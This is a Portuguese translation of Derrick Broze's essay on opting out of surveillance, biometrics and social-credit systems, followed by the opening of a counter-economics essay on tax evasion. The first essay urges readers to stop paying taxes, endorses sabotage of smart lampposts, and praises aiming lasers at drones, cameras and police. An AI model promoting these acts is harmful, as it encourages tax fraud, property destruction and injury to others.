&lt;p>O elemento mais imediato e ameaçador da Tecnocracia é o Estado. Enquanto as corporações estão coletando grandes quantidades de dados de indivíduos que optaram por comprar ou usar certos produtos, o governo pode alavancar sua autoridade legítima para forçar as populações a se submeterem à tecnologia biométrica. A história está repleta de exemplos de massas de pessoas propagandeadas para trabalhar contra seus próprios interesses. Embora a população coletiva possa ser facilmente influenciada, sempre haverá indivíduos que resistem.&lt;/p>
&lt;p>Nós, como indivíduos, podemos optar por não receber a biometria obrigatória e os esquemas de crédito social. Mas, se todos ao nosso redor ainda estiverem aderindo, é provável que optem por não se associar com aqueles que têm baixa pontuação de crédito social. Algumas pessoas farão isso por medo de que sua própria pontuação diminua por sair com tipos &amp;ldquo;não confiáveis&amp;rdquo;. Posso ouvir agora: &amp;ldquo;Você sabe que te amo, cara, mas se minha pontuação cair um pouco mais, não poderei levar a família para fora do país de férias.&amp;rdquo; Ou &amp;ldquo;Não vou conseguir obter esse empréstimo, comprar aquele carro ou visitar parques públicos&amp;rdquo; - a lista continua. Este é o verdadeiro poder da engenharia social.&lt;/p>
&lt;p>Conforme destacamos acima, o Estado Tecnocrático está crescendo em todo o mundo. Isso significa que em algum momento no futuro próximo VOCÊ terá que fazer uma escolha. Você se submeterá ao reconhecimento facial obrigatório para viajar? Você se submeterá à biometria em troca de acesso contínuo aos serviços do governo? O que você fará quando o 5G Smart Grid estiver em todos os lugares, desde uma cidade grande até o campo? Você dará à sua seguradora de automóveis acesso à sua localização em troca de desconto? Você já está usando suas impressões digitais ou seu rosto para desbloquear o celular ou abrir a casa?&lt;/p>
&lt;p>A resposta a essas perguntas determinará seu futuro. Estou partindo do pressuposto de que, se você encontrou o caminho até este livro, você está no mínimo curioso sobre o que é necessário para viver uma vida próspera que não esteja sob o domínio do Estado Tecnocrático. Se esse for seu objetivo, você tem algumas opções:&lt;/p>
&lt;ol>
&lt;li>
&lt;p>Segurar as Pontas - Esta opção é para a pessoa que não tem interesse ou capacidade de sair de casa por alguma outra opção(potencialmente melhor). Se você está comprometido com sua casa ou não tem outra opção, então este seria você. Você pode definhar e marchar com o resto das ovelhas para o matadouro ou pode tentar criar mudanças. Encontre maneiras de alcançar outras pessoas e educá-las sobre os perigos. Isso pode envolver a luta por mudanças políticas em nível local, distribuição de panfletos, uso de bancos por telefone ou campanhas nas redes sociais. Eu entendo que não podemos ser todos ativistas em tempo integral, mas cada um de nós pode encontrar uma forma de contribuir para o objetivo de criar uma comunidade de pessoas que optam voluntariamente por sair do Estado Tecnocrático. Claro, quanto mais perto você estiver de uma cidade grande e da &amp;ldquo;civilização&amp;rdquo;, mais difícil será evitar a crescente tecnocracia.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Sair e construir - Isso envolve deixar sua base de operações para trás e se mudar para um local com práticas menos invasivas e menos influência estatal corporativa tecnocrática. Se você decidiu que está morando em uma área que não tem esperança e prefere começar do zero, você deve sair e construir algo que reflita seus valores. Isso poderia ser feito sozinho, em casal, com a família e até mesmo com amigos. Talvez você compre um terreno, compartilhe um espaço residencial ou viva próximo um do outro em um bairro. Não importa qual seja a situação de vida, a intenção aqui é construir uma comunidade que forneça algum nível de segurança e privacidade para aqueles que optam por sair do mundo tecnocrático dominante. Quero enfatizar que essa opção não se trata necessariamente de se livrar da sua casa. Como irei delinear no capítulo sobre a Ferrovia Subterrânea Contra-econômica, escolher sair e construir antes que a merda chegue ao ventilador pode ajudar seus amigos íntimos e familiares no futuro quando isso realmente importar. Mais sobre isso mais tarde.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Apatia é morte - Claro, você sempre é livre para não fazer nada. Talvez você veja o que está no horizonte e decida que A) é tarde demais para parar a Tecnocracia, B) dá muito trabalho para fazer um esforço, ou C) você está apenas tentando cuidar de sua própria família e viver uma vida pacífica. Eu poderia continuar, mas você provavelmente entendeu. É a sua vida e você não é obrigado a fazer nada ao saber da Tecnocracia e da distopia digital que está sendo construída. No entanto, gostaria de alertar que a apatia hoje só tornará a vida mais difícil para as gerações futuras. Se quisermos preservar e expandir a liberdade e a privacidade para todas as pessoas, teremos que agir de maneiras realistas e tangíveis.&lt;/p>
&lt;/li>
&lt;/ol>
&lt;p>Claro que poderíamos pensar em mais uma dezena de opções, mas geralmente acredito que todos os planos podem ser classificados em uma dessas três categorias. Para aqueles que escolhem a Opção 1, é importante entender que decidir ficar parado enquanto tenta sair da Tecnocracia envolverá infringir a lei em algum ponto. À medida que o Estado continua a pressionar por biometria obrigatória(retina, impressão digital e leitura facial) e sistemas de crédito social são amplamente adotados, ficará cada vez mais difícil operar sua vida sem violar diretamente as ordens do Estado Tecnocrático. O truque é determinar o risco potencial versus o benefício potencial.&lt;/p>
&lt;p>Como Konkin escreveu uma vez, &amp;ldquo;negocie o risco pelo lucro&amp;rdquo;. Com o entendimento de que toda decisão que tomamos é econômica(seja relacionada a dinheiro ou não), Konkin reconheceu que escolher violar os comandos do Estado era um risco que poderia resultar em lucro na forma de aumento da liberdade em um forma ou de outra. Portanto, quando você opta por não declarar toda a sua renda em seus impostos para economizar dinheiro para sua família, você está trocando um risco por um benefício. Da mesma forma, se/ou quando o Estado emitir ordens de vacinação obrigatórias, varredura de retina obrigatória, microchipagem obrigatória ou qualquer outro programa obrigatório, você terá uma escolha. Você pode se submeter a esses programas por medo de punição ou danos à reputação, ou pode optar conscientemente por não participar desses sistemas. Haverá riscos e haverá benefícios. Cabe a você decidir o que é melhor para você e sua família.&lt;/p>
&lt;p>Em seu livro inacabado Contra-Economia, Samuel Konkin descreveu o que ele chama de Contra-Economia de Perfil Baixo e de Perfil Alto, duas táticas diferentes disponíveis para aqueles que buscam se auto-excluir de sistemas invasivos. Enquanto a contra-economia de baixo perfil envolve discretamente a exclusão da Tecnocracia, a de Alto Perfil está mais na sua cara.&lt;/p>
&lt;blockquote>
&lt;p>&amp;ldquo;A contra-economia de alto perfil lida com uma área específica de coerção do Estado, chamando a atenção para sua vitimização. Quanto mais barulho, melhor. O famoso &lt;em>Conspiracy Eight&lt;/em> usou a publicidade para se manter fora da prisão por anos - mesmo depois de suas condenações.&lt;/p>
&lt;p>Os desobedientes civis confiam na pressão pública para mantê-los fora da prisão ou para minimizar suas penalidades. Na verdade, os executores do Estado têm medo de criar mártires. O próprio conceito de mártir exibe o poder da informação; o que é um mártir senão um cadáver com uma boa história?&lt;/p>
&lt;p>Contra-economistas de alto perfil têm riscos maiores porque são muito fáceis de detectar. Eles ganham a vantagem do fluxo de informações adicionais - de si mesmos para o resto do mercado. Na medida em que têm sucesso, eles se tornam inspiradores.&amp;rdquo;&lt;/p>
&lt;/blockquote>
&lt;p>Konkin disse que aqueles que buscam tanto o perfil baixo quanto o alto podem fazê-lo por meio de uma terceira categoria: a comunidade contra-econômica. Konkin observa os benefícios de ter aliados que também participam da contra-economia e optam por sair da Tecnocracia. É por isso que será importante formar algum nível de comunidade como uma rede de apoio mútuo que permite uma vida &amp;ldquo;fora da rede&amp;rdquo;. Konkin escreveu:&lt;/p>
&lt;blockquote>
&lt;p>&amp;ldquo;Pode-se buscar qualquer grau de notoriedade(ou, dito de outra forma, anunciar livremente seus serviços) dentro da comunidade de colegas contra-economistas, sem informar o Estado, seus agentes e, claro, seus informantes. Para fazer isso, é preciso controlar o fluxo de informações sobre si mesmo.&amp;rdquo;&lt;/p>
&lt;/blockquote>
&lt;p>Um dos grandes insights delineados por Konkin em Contra-Economia é a importância de controlar o fluxo de informações sobre você, &amp;ldquo;em particular, o fluxo de informações de você para o Estado&amp;rdquo;. Konkin diz que as duas maneiras óbvias de escapar da atenção do Estado são não existir e &amp;ldquo;se você existe, não conte a ninguém sobre isso&amp;rdquo;. O objetivo, então, é reduzir a interação com o Estado e/ou empresas privadas que desejam escanear seu rosto, registrar sua vida e forçá-lo a se submeter.&lt;/p>
&lt;p>Existem muitas maneiras de abordar esse objetivo. Por exemplo, Konkin observou que alguns aspirantes a contra-economistas optaram por &amp;ldquo;cortar o contato com qualquer pessoa que possa conhecê-los, ir buscar e ficar fora de todas as listas de correio, operar com dinheiro e nunca usar bancos e até mesmo evitar residências legais, vivendo em trailers como nômades ou em terras negligenciadas em cavernas ou estruturas improvisadas.&amp;rdquo; Embora isso possa parecer extremo para alguns, por um breve período na década de 1960, esses indivíduos promoveram a filosofia de Vonu, ou invulnerabilidade em relação à coerção, e tentaram evitar todo contato com o Estado. Tom Marshall, também conhecido como Ryo, foi o principal defensor do Vonu e frequentemente escreveu sobre encontrar sua versão de liberdade optando por sair completamente da sociedade e viver solitário no deserto ou em seu trailer. Alguns dos que escolheram a Opção 2 podem estar interessados ​​no Vonu, mas, em minha experiência, a maioria das pessoas parece interessada em morar com sua família ou em uma comunidade de pessoas com ideias semelhantes que não querem se submeter à prisão digital, e não sozinhas. Se alguma lição for aprendida com os proponentes do Vonu, é que optar pela exclusão é absolutamente possível, seja de uma forma contra-econômica de alto perfil ou em um estilo de vida Vonu extremamente discreto.(Para aqueles interessados ​​em uma análise mais aprofundada do Vonu, recomendo a leitura de &lt;em>Vonu: A Strategy for Self-Liberation de Shane Radliff&lt;/em>)&lt;/p>
&lt;p>Tanto Konkin quanto Ryo alertaram sobre as dificuldades enfrentadas por aqueles que buscam libertação e privacidade na cidade. No entanto, no mundo digital cada vez mais interconectado em que vivemos, a privacidade pode ser difícil, mesmo em áreas rurais. Quer você escolha Segurar as Pontas e construir uma comunidade na cidade em que mora ou Sair e Construir sua comunidade em um novo local, o objetivo é limitar a interação com o Estado Tecnocrático. É aqui que podemos aprender com os entusiastas Vonu que falavam sobre &amp;ldquo;interagir&amp;rdquo; com o resto da sociedade de maneira seletiva.&lt;/p>
&lt;p>Konkin diz que uma forma de interagir com a &amp;ldquo;economia de base ou do establishment&amp;rdquo;(ou o mundo dominante em geral) é criar uma identidade fictícia que assume os riscos. Nesse caso, você pode cancelar essa identidade a qualquer momento, se necessário. No mundo digital, é fácil criar uma persona alternativa online, mas é mais difícil estar realmente desconectado de sua identidade online. Em minha carreira de jornalista, vi governos rastrearem pessoas com telefones, câmeras, computadores e GPS e até mesmo quebrar criptografias. Como observa Konkin, &amp;ldquo;se os agentes do Estado estão se aproximando desse alter ego, contanto que você use o disfarce, eles estão se aproximando de você&amp;rdquo;. Além disso, tudo o que você ganhou usando a identidade falsa - contas, contatos e propriedade - seria perdido.&lt;/p>
&lt;p>Konkin via as falsas personalidades como valiosas, mas no final das contas ele acreditava que era necessário categorizar seu fluxo de informações em um sistema de camadas. Por exemplo, em uma camada você deve revelar algumas informações para interagir com o resto do mundo. Essas informações podem incluir &amp;ldquo;se você tem um produto ou serviço, quanto custará, o que você aceitará como pagamento, como poderá ser contatado e quando você estará disponível. Se houver vários pagamentos, acordos de crédito, negócios repetidos e acompanhamento pós-venda envolvidos, ainda mais informações devem fluir de você.&amp;rdquo;&lt;/p>
&lt;p>Ao comprar ou vender um produto, trabalhar para um empregador ou viajar você deixará um rastro de papel digital e também terá maior probabilidade de enfrentar as ferramentas biométricas da Tecnocracia. Novamente, se você mora em uma cidade grande(ou mesmo uma cidade pequena) e escolhe a Opção 1, esses são os desafios que você terá que enfrentar. Nos EUA, China, Reino Unido, França, Austrália, Índia, etc., câmeras CCTV conectadas a &amp;ldquo;Centros de Crime em Tempo Real&amp;rdquo; e &amp;ldquo;Centros de Fusão&amp;rdquo; que durante 24 horas mantêm civis na maioria das grandes cidades sob vigilância pesada. Cada vez mais essas câmeras estão sendo equipadas com software de reconhecimento facial. Para combater essa ameaça, existem duas estratégias principais que chamo de &amp;ldquo;Ficar Invisível&amp;rdquo; e &amp;ldquo;Buscar e Destruir&amp;rdquo;.&lt;/p>
&lt;p>&lt;strong>Ficar Invisível&lt;/strong>&lt;/p>
&lt;p>Se sua meta é permanecer discreto e Ficar Invisível, existem algumas ações que você pode realizar imediatamente:&lt;/p>
&lt;ul>
&lt;li>Pare de carregar telefones celulares aonde quer que você vá&lt;/li>
&lt;li>Pare de usar GPS&lt;/li>
&lt;li>Exclua contas de mídia social e aplicativos que rastreiam você&lt;/li>
&lt;li>Pare de usar cartões de crédito e débito&lt;/li>
&lt;li>Cancele sua conta bancária(use uma cooperativa de crédito se precisar armazenar seus fundos)&lt;/li>
&lt;li>Pare de trabalhar nos empregos na economia dominante&lt;/li>
&lt;li>Pare de pagar impostos&lt;/li>
&lt;/ul>
&lt;p>Agora, obviamente, algumas dessas opções serão extremas para algumas pessoas. É tudo sobre o nível de fluxo de informações que você está disposto a aceitar. Algumas pessoas não podem largar seus empregos diários, cancelar suas contas bancárias ou excluir suas contas de mídia social. Entendi. Isso significa que haverá algum nível de informação sobre você disponível para aqueles com o dinheiro e o desejo de comprá-lo. Não há nada inerentemente errado com isso. Talvez sua maior preocupação seja simplesmente garantir que os telefones celulares e os assistentes domésticos não estejam ouvindo você o tempo todo. Então você opta por não comprar uma Alexa, Echo, etc. e opta por ligar o seu celular apenas quando precisar. Estas são escolhas pessoais e serão diferentes para cada indivíduo. A questão é que você está no controle dos dados que fluem de você.&lt;/p>
&lt;p>Quando se trata do mundo digital, ainda existe um valor incrível em entender como usar a criptografia. O número de dispositivos digitais que você usa está diretamente relacionado ao seu nível de privacidade e liberdade. Se o seu wi-fi, telefone, laptop, tablet, etc. estão operando sem qualquer tipo de criptografia, você está à mercê de todos os tipos de malfeitores. Há também a questão dos computadores de prateleira sendo construídos com backdoors que permitem que o governo e empresas privadas acessem seus dados sem problemas. Obviamente, usar VPNs(redes privadas virtuais) é valioso, mas documentos vazados por Edward Snowden provaram que a NSA dos EUA também pode decifrá-las. Uma ferramenta discutida por Konkin que ainda é valiosa é a criptografia de chave pública. Não temos espaço aqui para elaborar mais, mas recomendo aprender mais sobre privacidade criptográfica e criptografia &lt;em>Pretty Good Privacy(PGP)&lt;/em>.&lt;/p>
&lt;p>Acrescentarei uma advertência final sobre a comunicação digital: suponha que alguém possa vê-lo. Mesmo se você estiver usando aplicativos de mensagens criptografados que prometem destruir suas mensagens instantaneamente, é uma suposição segura que os governos americano e chinês podem acessá-los, se assim escolherem. Todas as comunicações digitais podem ser coletadas, armazenadas e analisadas se alguém quiser. Sempre opere como se outra pessoa pudesse ver o que você está enviando. Se algo sensível precisa ser comunicado, diga pessoalmente em uma sala sem computadores, telefones, dispositivos inteligentes ou assistentes domésticos digitais.&lt;/p>
&lt;p>Existem também algumas maneiras práticas de contra-atacar. Em 2019, várias histórias relataram que os ativistas encontraram maneiras de lutar contra a rede de vigilância. No Chile, ativistas apontaram lasers para drones que observavam seu comportamento do céu durante protestos antigovernamentais massivos. Centenas de lasers apontados diretamente para o drone fizeram com que ele funcionasse mal e caísse no chão com aplausos estrondosos e vivas do povo. Em Hong Kong, os manifestantes também usaram lasers para lutar contra a vigilância. Para lutar contra as câmeras de reconhecimento facial, os ativistas começaram a usar lasers de alta potência apontados para câmeras e policiais. À medida que o estado corporativo avança, é provável que eles descubram como evitar serem vítimas de lasers simples, por isso é importante que as pessoas estejam sempre procurando(ou criando) avanços em tecnologia que possam contrariar o estado.&lt;/p>
&lt;p>Algumas empresas e designers começaram recentemente a anunciar roupas, pinturas faciais, óculos e até mesmo alguns estilos de cabelo que podem enganar o reconhecimento facial. O artista que vive em Berlim, Adam Harvey, lançou dois projetos diferentes que buscam sobrecarregar e confundir os sistemas de reconhecimento facial. Seu projeto Hyperface envolve a impressão de roupas com olhos, bocas e outras características faciais na tentativa de enganar o software. Harvey também trabalhou no projeto CV Dazzle, que buscava usar maquiagem e penteado para interferir nas máquinas. Outros artistas sugeriram que roupas brilhantes, reflexivas e que podem refletir a luz, assim como camuflagem em estilo militar, podem atrapalhar o pesadelo do reconhecimento facial e torná-lo invisível.&lt;/p>
&lt;p>Claro que a maneira mais prática de proteger o rosto é cobrindo-o. Existem várias opções disponíveis para os interessados, incluindo máscaras de papel, a infame máscara de Guy Fawkes(&amp;ldquo;Anonymous&amp;rdquo;) e faces impressas em 3D projetadas para dar a você uma identidade totalmente diferente. No entanto, na China, o Estado tornou as máscaras ilegais e visa punir quem quer que oculte sua identidade. Isso não impediu que ativistas intrépidos continuassem a usar coberturas faciais, mas, novamente, o ponto é que, se você quiser proteger sua privacidade, provavelmente envolverá infringir a lei. Se uma lei viola nosso direito à liberdade ou privacidade, então é a própria lei que é injusta e deve ser ignorada. No entanto, deve-se notar que em um mundo repleto de câmeras de reconhecimento facial, alguém com uma máscara certamente se destacará e será detectado em poucos instantes. Quanto menos atenção você der a si mesmo, melhor. [N.T.: Recomendo aos leitores conhecer o conceito de &lt;em>Grey Man Directive(GMD)&lt;/em>]&lt;/p>
&lt;p>&lt;strong>Buscar e Destruir&lt;/strong>&lt;/p>
&lt;p>Antes de prosseguirmos, observe que essas informações são para fins educacionais e de pesquisa. Você é totalmente responsável por suas ações. Agora, para aqueles que estão insatisfeitos em simplesmente evitar a tecnologia invasiva e jogar um jogo digital de gato e rato, a opção Buscar e Destruir pode atender melhor às suas necessidades.&lt;/p>
&lt;p>Podemos olhar para Hong Kong novamente para outro exemplo. Em agosto de 2019, os ativistas se voltaram para “lâmpadas inteligentes” que, segundo o governo local, são usadas para coletar dados sobre tráfego, clima e qualidade do ar. Os ativistas temiam que as luzes da rua fossem equipadas com software de reconhecimento facial, então amarraram cordas em volta dos postes e os puxaram para o chão. Existem cerca de 50 postes de luz inteligentes instalados em Hong Kong, todos com câmeras e sensores. Estes são os mesmos tipos de lâmpadas inteligentes que estão sendo instalados em &amp;ldquo;Cidades Inteligentes&amp;rdquo; em todo o mundo.&lt;/p>
&lt;p>Mais uma vez, reconheço que isso pode parecer extremo para alguns, mas conheci um grupo diversificado de pessoas que expressaram que, se a tecnologia chegar à sua vizinhança, elas a destruirão. Isso nos leva ao tópico da deturpação de macaco, uma forma de ação direta originalmente popularizada por elementos do movimento ambientalista radical, especificamente o &lt;em>Earth First!&lt;/em> e a &lt;em>Earth Liberation Front(ELF)&lt;/em>. Dave Foreman co-fundador da Earth First! descreveu as táticas da deturpação de macaco em seu livro Ecodefense: A Field Guide to Monkeywrenching. O livro de Foreman foi inspirado no livro de Edward Abey, The Monkey Wrench Gang, que conta a história de quatro pessoas que usaram sabotagem para protestar contra os danos ambientais no sudoeste dos Estados Unidos. Entre 1992 e 2007, a ELF começou a sabotar projetos de construção que ameaçavam terras e florestas selvagens. Suas táticas incluíam sentar em árvores, bloqueios não violentos, desobediência civil e sabotagem de máquinas.&lt;/p>
&lt;p>Não é necessário concordar com a filosofia ou mesmo com a causa da ELF e da Earth First! para reconhecer que a deturpação de macaco pode ser aplicada a uma série de causas diferentes. Eu diria que o que os manifestantes de Hong Kong fizeram com as lâmpadas inteligentes foi deturpação de macaco em defesa da privacidade e da liberdade. Como sempre, você decide os riscos versus os benefícios potenciais. Para aqueles que se sentem desconfortáveis com a ideia de destruição, lembre-se que em todo fim respira um novo começo. Podemos construir um mundo que respeite a privacidade e a liberdade individual sobre as cinzas das câmeras de reconhecimento facial do Estado Tecnocrático.&lt;/p>
&lt;p>Estas são apenas algumas sugestões sobre estratégias e táticas para manter algum nível de privacidade e liberdade. Como Konkin corretamente observou, a luta pela privacidade é um &amp;ldquo;sistema dinâmico e em evolução.&amp;rdquo; É uma forma não violenta de corrida armamentista em que um lado quebra o código e o outro desenvolve um novo sistema para superar o antigo&amp;quot;.&lt;/p>
&lt;p>A tecnologia digital é uma ferramenta e, como qualquer ferramenta, pode ser usada para o bem ou para o mal. Nas mãos dos tecnocratas, a tecnologia digital é usada para controle, espionagem, engenharia social, manipulação, censura e propaganda. Nas mãos de pessoas livres, a tecnologia pode ser usada para curar, capacitar, educar e construir um mundo melhor. No entanto, este mundo melhor não acontecerá sem um esforço consciente para construí-lo. Também precisamos de um ceticismo saudável em relação às tecnologias emergentes que são vendidas como a panaceia para a turbulência da humanidade. Quer você escolha ficar e construir em sua cidade ou desocupar o estado e construir em outro lugar, será necessário participar de algum nível de comunidade, mesmo que seja apenas para sobreviver. Nossa melhor chance de sobrevivência é nos unirmos a outras pessoas que optam por sair do futuro digital e formar novas comunidades que respeitem a privacidade e a liberdade.&lt;/p>
&lt;hr>
&lt;p>Fonte: BROZE, Derrick; How to Opt-Out of the Technocratic State - 21/01/2020&lt;/p></content:encoded></item><item><title>Contra-economia Tributária</title><link>https://cypherpunks.com.br/documentos/contra-economia-tribut%C3%A1ria/</link><pubDate>Tue, 21 Jan 2020 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/contra-economia-tribut%C3%A1ria/</guid><description>“Economia Subterrânea” evoca uma visão de alguma subsociedade interna à sociedade em geral, com consciência, organização estruturada e uma subcultura de costumes, tradições e talvez até arte e literatura. A imagem do shopping center subterrâneo em Alongside Night (Crown, 1979), de J. Neil Schulman, caberia. Mas isso se passa em 2001 - …</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Iann Zorkot
Revisado por: C4SS, Instituto Ágora, Cypherpunks Brasil
&lt;/code>&lt;/pre>&lt;h1 id="a-comunidade-contra-econômica-células-de-liberdade">A comunidade contra-econômica: células de liberdade&lt;/h1>
&lt;h2 id="derrick-broze">Derrick Broze&lt;/h2>
&lt;blockquote>
&lt;p>“A vasta economia subterrânea que rivaliza em tamanho com toda a produção do Canadá, envolvendo até 20 milhões de pessoas e gerando centenas de bilhões de dólares em renda não tributada, está prosperando sob a corrente econômica dominante da América.&amp;quot;&lt;/p>
&lt;p>“Ao todo, mais de meio trilhão de dólares por ano - cerca de um quarto da produção registrada nos EUA - está envolvido, de acordo com algumas estimativas. Mesmo os julgamentos mais conservadores começam em quase 200 bilhões. ”&lt;/p>
&lt;/blockquote>
&lt;p>Notícias capa do U.S. News &amp;amp; World Report, 22 de outubro de 1979&lt;/p>
&lt;blockquote>
&lt;p>“Há algo acontecendo aqui. O que não está exatamente claro &amp;hellip; ”&lt;/p>
&lt;p>— &lt;em>Stephen Stills, &amp;ldquo;For What It’s Worth&amp;rdquo; (gravado por Buffalo Springfield)&lt;/em>&lt;/p>
&lt;/blockquote>
&lt;p>Algo chamado de “Economia Subterrânea” foi descoberto pela grande circulação, a mídia do “Establishment”. O Los Angeles Times, por exemplo, durante os anos em que o autor manteve uma estreita vigilância, publicou as seguintes histórias:&lt;/p>
&lt;ul>
&lt;li>17 de julho de 1979 - “100 bilhões da ‘economia subterrânea’ revelados” (Seção IV, páginas 1 e 11). “‘ Qualquer pessoa que tenha olhado para a economia subterrânea dirá que ela é muito grande ’, disse Allen Voss, do General Accounting Office, ao subcomitê de supervisão da House Ways &amp;amp; Means.&amp;quot;
*“As autoridades descrevem a economia subterrânea como consistindo em pessoas que relatam menos do que ganham, incluindo aqueles que se envolvem em escambo ou trabalham apenas por dinheiro físico, e aqueles que nem se preocupam em apresentar uma declaração.”&lt;/li>
&lt;li>18 de setembro de 1979 - “ ‘Economia Subterrânea’ Sobe para o Ar” (Parte II, página 5). O colunista Robert J. Samuelson reclama: “As agências governamentais têm uma maneira de conferir respeitabilidade às ideias, e isso é exatamente o que o Internal Revenue Service(1) fez pela &amp;rsquo;economia subterrânea&amp;rsquo;. Até recentemente, esse era apenas mais um assunto aleatório para histórias de jornais e revistas . Agora, o IRS entregou um relatório pesado estimando que talvez um dólar em cada dez de sua receita foi para a clandestinidade e não é relatado para fins fiscais. De repente, temos um problema social em grande escala. ”&lt;/li>
&lt;li>9 de janeiro de 1980 - “Dinheiro, uma questão de dar e receber”, com o subtítulo “Cobrador de Impostos Enganado em Bilhões” (Parte IV, página 5), começa com “&amp;lsquo;Sinto-me maravilhado por não pagar impostos&amp;rsquo;, diz RM Jones . ‘Não gosto de apoiar um governo tigre de papel(2) e não gosto de cuidar das pessoas na previdência.’ ”&lt;/li>
&lt;li>2 de abril de 1980 - &amp;ldquo;Evasão de Bilhões de Dólares no Temido Imposto de Renda&amp;rdquo;, com o subtítulo &amp;ldquo;EUA Preocupado com fundos não declarados que fluem para contas bancárias no exterior ”expande o conceito internacionalmente. “O abuso das chamadas contas &amp;lsquo;offshore&amp;rsquo;(3) por americanos ricos empenhados na evasão de impostos - bem como por traficantes de narcóticos, pagadores de suborno corporativo e outros - atingiu proporções sem precedentes, de acordo com muitos especialistas.”&lt;/li>
&lt;li>7 de abril de 1980 - &amp;ldquo;Do Lado dos Sem Lei&amp;rdquo;, com o subtítulo &amp;ldquo;A Tolerância dos Americanos às Fraudes Fiscais da Economia Subterrânea Custa Bilhões&amp;rdquo;, é um ataque editorial do redator do Times, Ernest Conine. Ele diz: “A maioria dos americanos tende a fazer vista grossa para essas coisas. Isso não é muito inteligente, para dizer o mínimo. O sujeito que trapaceia em seu imposto de renda, seja ele um empresário experiente ou multimilionário, está roubando dos contribuintes honestos com a mesma certeza que se enfiasse uma arma em suas costelas ”.&lt;/li>
&lt;li>17 de abril de 1980 - “Mais e Mais Recusando-se a pagar Impostos”, com o subtítulo “Resistentes e &amp;lsquo;Patriotas&amp;rsquo; Insistem que os EUA Não Têm Direito a Impostos” não menciona a “Economia Subterrânea” em parte alguma (Parte 1-C, páginas 7-8) . Ainda assim, começa: “Um número crescente de americanos está se recusando a preencher formulários de imposto de renda ou pagar ao Tio Sam outro centavo. A maioria de nós passa vários meses por ano trabalhando para o governo federal, mas os resistentes aos impostos disseram ao governo: ‘Eu me demito’ ”. Mais sobre essa anomalia mais tarde.&lt;/li>
&lt;li>18 de abril de 1980 - “A Maior Fraude Fiscal de Todas” encabeçou uma coluna de carta no Times respondendo a Conine. Seis missivas foram impressas, todas críticas à defesa da tributação de Conine, embora duas apoiassem a tributação oferecendo uma alternativa, o Imposto sobre Valor Agregado ou IVA. Duas outras continham esta frase de uma palavra em resposta a Conine: &amp;ldquo;Bobagem!&amp;rdquo; Outra disse: &amp;ldquo;A sugestão inepta de Conine de contratar mais auditores é estúpida!&amp;rdquo;&lt;/li>
&lt;li>18 de agosto de 1980 - &amp;ldquo;Atos do IRS para Conter o Aumento dos Rebeldes Fiscais&amp;rdquo;, com o subtítulo &amp;ldquo;As Classificações Aumentam Apesar das Convicções&amp;rdquo;, novamente não menciona nenhuma &amp;ldquo;economia subterrânea&amp;rdquo;. (Seção 1, página 1)&lt;/li>
&lt;li>10 de janeiro de 1981 - “Igrejas Podem Ser Leiloadas”, com o subtítulo “15 Congregações que se Recusam a Apresentar Formulários de Impostos Estaduais” expande a questão novamente de indivíduos e rebeldes fiscais organizados para igrejas (Página 30, Parte I). “Pelo menos 15 igrejas fundamentalistas da Califórnia envolvidas em uma revolta crescente contra o preenchimento de formulários de impostos correm o risco de ter suas propriedades leiloadas pelo estado.” Mais uma vez, nenhuma “economia subterrânea” é mencionada.&lt;/li>
&lt;/ul>
&lt;p>Isso também não se limita ao L.A. Times ou ao U.S. News. A coluna de Jack Anderson de 29 de dezembro de 1979 começa: &amp;ldquo;Os contribuintes americanos honestos estão sendo roubados por um crescente &amp;lsquo;submundo&amp;rsquo; econômico de cinzeladores de impostos, cujos impostos não pagos devem ser compensados pela população respeitadora da lei. As estimativas variam quanto ao tamanho das depredações anuais dessas guerrilhas fiscais, mas alguns especialistas acreditam que suas transações ilícitas isentas de impostos chegam a um terço do total da economia americana. Talvez a característica mais alarmante deste exército sombrio de trapaceiros seja que muitos de seus recrutas não são figuras endurecidas do submundo, mas cidadãos respeitados e aparentemente respeitáveis. ”&lt;/p>
&lt;p>A colunista Sylvia Porter, &amp;ldquo;O Valor do Seu Dinheiro&amp;rdquo;, dedicou três colunas (10 a 12 de novembro de 1980) à &amp;ldquo;Economia Subterrânea&amp;rdquo; ‘Invisível’. ” Ela conclui apocalipticamente: “A conformidade deve ser a resposta se quisermos evitar o perigo de que todo o nosso sistema desmorone.”&lt;/p>
&lt;p>Talvez sua visão não seja injustificada. Zodiac News Service, 1º de agosto de 1980, enviou a seguinte história:&lt;/p>
&lt;blockquote>
&lt;p>“(ZNS) O Internal Revenue Service decidiu recentemente verificar seus próprios funcionários, auditando as declarações de imposto de renda de 168 de seus próprios auditores, que foram selecionados aleatoriamente.&lt;/p>
&lt;p>O IRS relata que 110 dessas auditorias foram concluídas e que exatamente metade dos próprios auditores do Serviço cometeu erros graves em seus próprios retornos pessoais.&lt;/p>
&lt;p>Das 55 declarações imprecisas, 13 pagaram a mais de seus impostos em uma média de $129. Os 42 restantes, no entanto, pagaram mal ao Tio Sam em uma média de $720. Este valor de $720, aliás, é mais do que o dobro da média de pagamento insuficiente do público (de cerca de $340).”&lt;/p>
&lt;/blockquote>
&lt;p>O IRS iria expandir sua auditoria de seus próprios auditores, mas desde então cancelou esse plano depois que os auditores rotularam o esquema de &amp;ldquo;ultrajante&amp;rdquo; e &amp;ldquo;muito, muito injusto&amp;rdquo;.
E a “ameaça” ainda não é limitada. Thomas Brom, para o Pacific News Service, 28 de novembro de 1980, no artigo “Economia &amp;lsquo;Fora da Lei&amp;rsquo; em expansão na América - Empregos para muitos, proteção para ninguém”, começa com este terrível aviso como uma “Nota do Editor”: “O &amp;lsquo;fora da lei&amp;rsquo; ou a economia &amp;ldquo;subterrânea&amp;rdquo;, em que o dinheiro paga a conta e o IRS é evitado, está crescendo aos trancos e barrancos, de acordo com estimativas recentes. Ele passou a funcionar como uma espécie de sistema sombrio de sobrevivência e programa de bem-estar não oficial para as legiões crescentes de desempregados. Mas, embora ofereça sobrevivência para muitos, oferece pouco bem-estar e nenhuma proteção ao trabalhador e representa uma séria ameaça aos sindicatos americanos, relata Thomas Brom, editor de economia do PNS. ”&lt;/p>
